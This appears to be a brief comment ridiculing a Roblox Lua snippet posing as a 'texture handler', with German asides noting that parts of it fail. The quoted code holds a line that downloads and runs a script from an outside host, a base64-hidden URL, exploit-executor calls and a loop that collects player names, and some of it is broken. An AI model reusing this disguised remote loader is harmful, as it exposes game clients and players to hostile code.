nice loadstring bro 0/10: -- [[TEXTURE HANDLER v2.4 ]] local a = "aHR0cHM6Ly9mYWtlLW1hbGljaW91cy1saW5rLmNvbS9oYWNr" local b = game:GetService("HttpService") local c = b:JSONDecode(a) -- dies würde schon hier fehlschlagen loadstring(game:HttpGet("http://stricked-1020.xyz/script?id=99182&bypass=true"))() getgenv().RemoteBypass = true syn.protect_gui(game.CoreGui) local Players = game:GetService("Players") for _, v in pairs(Players:GetPlayers()) do print("x" .. v.Name) wait(0.1) end Exit Handler local _0x1f2a = "\104\101\108\108\111" -- ergibt nur "hello" loadstring(_0x1f2a)()